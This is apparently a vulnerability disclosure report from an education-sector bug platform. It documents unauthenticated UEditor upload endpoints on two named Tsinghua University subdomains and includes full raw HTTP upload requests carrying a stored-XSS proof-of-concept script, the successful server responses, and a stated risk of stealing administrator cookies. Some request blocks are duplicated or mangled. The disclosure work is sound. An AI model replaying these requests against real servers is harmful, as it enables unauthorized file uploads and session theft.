

## 清华大学

时间	单位	作者	等级	Rank
2022-07-05 20:37:26	清华大学 (/list/firm/3110)	Blame深夜深夜看看 (/profile/8493/)	低危	1

无描述...

漏洞网站: <http://cicm.pbcsf.tsinghua.edu.cn> (<http://cicm.pbcsf.tsinghua.edu.cn>)

<http://mis.sem.tsinghua.edu.cn>

漏洞描述: 网站未对编辑器上传接口做鉴权处理, 构造数据包即可绕过服务器上传xss文件,

未鉴权接口1:<http://cicm.pbcsf.tsinghua.edu.cn/ueditor/php/controller.php?action=uploadfile>  
(<http://cicm.pbcsf.tsinghua.edu.cn/ueditor/php/controller.php?action=uploadfile>)

RawParamsHeadersHex

POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1  
Host: cicm.pbcsf.tsinghua.edu.cn  
Content-Length: 366  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://guanli.sanyau.edu.cn  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7AxXraLSPRmXLAlm  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: Hm\_lvt\_15d8b0eeba073c6158edc97abff2f652=1653378418  
Connection: close  
  
-----WebKitFormBoundary7AxXraLSPRmXLAlm  
Content-Disposition: form-data; name="uploadfile"; filename="1.xml"  
Content-Type: image/gif  
  
<html>  
<head></head>  
<body>  
<something:script xmlns:something="http://www.w3.org/1999/xhtml">  
alert("the website is not safe,please check!!!");  
</something:script>  
</body>  
</html>  
-----WebKitFormBoundary7AxXraLSPRmXLAlm--

RawHeadersHex

HTTP/1.1 200 OK  
date: Tue, 05 Jul 2022 08:33:10 GMT  
content-type: text/html; charset=utf-8  
x-powered-by: PHP/7.4.3  
set-cookie: serverid=1425456; path=/; HttpOnly  
vary: Accept-Encoding  
connection: close  
Content-Length: 163  
  
{ "state": "SUCCESS", "url": "\ueditor\php\upload\file\20220705\1657010012449740.xml", "original": "1.xml", "type": ".xml", "size": 186 }

[cicm.pbcsf.tsinghua.edu.cn/ueditor/php/upload/file/20220705/1657010012449740.xml](http://cicm.pbcsf.tsinghua.edu.cn/ueditor/php/upload/file/20220705/1657010012449740.xml)

 cicm.pbcfs.tsinghua.edu.cn

the website is not safe,please check!!!

确定

```
POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: cicm.pbcfs.tsinghua.edu.cn
Content-Length: 366
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://guanli.sanyau.edu.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7AxXraLSPRmXLA1m
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.424
0.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_15d8b0eeba073c6158edc97abff2f652=1653378418
Connection: close

-----WebKitFormBoundary7AxXraLSPRmXLA1m
Content-Disposition: form-data; name="upfile"; filename="1.xml"
Content-Type: image/gif

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
alert("the website is not safe,please check!!!");
</something:script>
</body>
</html>
-----WebKitFormBoundary7AxXraLSPRmXLA1m--
```

危害: 文件存储xss, 访问可以获取管理员cookie

未鉴权接口2: <http://mis.sem.tsinghua.edu.cn/ueditor/jsp/controller.jsp?action=uploadfile>  
(<http://mis.sem.tsinghua.edu.cn/ueditor/jsp/controller.jsp?action=uploadfile>)

Raw Params Headers Hex

POST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1  
Host: mis.sem.tsinghua.edu.cn  
Content-Length: 368  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1

Raw Headers Hex

HTTP/1.1 200 OK  
date: Tue, 05 Jul 2022 12:16:35 GMT  
content-type: text/html; charset=UTF-8  
set-cookie: crmweb01-8080-PORTAL-PSJSESSIONID=FND0S2z0oFR9JJ7ckHLRqLf7ePsK1-18!-2007457865;  
domains=sem.tsinghua.edu.cn; path=/; HttpOnly

```
Upgrade-Insecure-Requests: 1
Origin: http://guanli.sanyau.edu.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7AxXraLSPRmXLAlm
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.198 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_15d8b0eeba073c6158edc97abff2f652=1653378418
Connection: close

-----WebKitFormBoundary7AxXraLSPRmXLAlm
Content-Disposition: form-data; name="upload"; filename="1.zip"
Content-Type: image/gif
```

```
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
alert("the website is not safe,please check!!!");
</something:script>
</body>
</html>
-----WebKitFormBoundary7AxXraLSPRmXLAlm--
```

```
Domain: sem.tsinghua.edu.cn, path=/, response
vary: Accept-Encoding
access-control-allow-origin: crm.sem.tsinghua.edu.cn
set-cookie: server_back_id=1325456; path=/; HttpOnly
set-cookie: serverid=1325456; path=/; HttpOnly
vary: Accept-Encoding
connection: close
Content-Length: 175
```

```
{"state": "SUCCESS", "title": "1657023458511070236.zip", "original": "1.zip", "type":
".zip", "url": "/ueditor/jsp/upload/file/20220705/1657023458511070236.zip", "size":
"186"}
```



```
POST /ueditor/jsp/controller.jsp?action=uploadfile HTTP/1.1
Host: mis.sem.tsinghua.edu.cn
Content-Length: 368
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://guanli.sanyau.edu.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7AxXraLSPRmXLA1m
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.424
0.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.
8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_15d8b0eeba073c6158edc97abff2f652=1653378418
Connection: close

-----WebKitFormBoundary7AxXraLSPRmXLA1m
Content-Disposition: form-data; name="upfile"; filename="1.zip"
Content-Type: image/gif

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
alert("the website is not safe,please check!!!");
</something:script>
</body>
</html>
-----WebKitFormBoundary7AxXraLSPRmXLA1m--
```

2022 © 联系邮箱: [contact@src.edu-info.edu.cn](mailto:contact@src.edu-info.edu.cn) (mailto:contact@src.edu-info.edu.cn)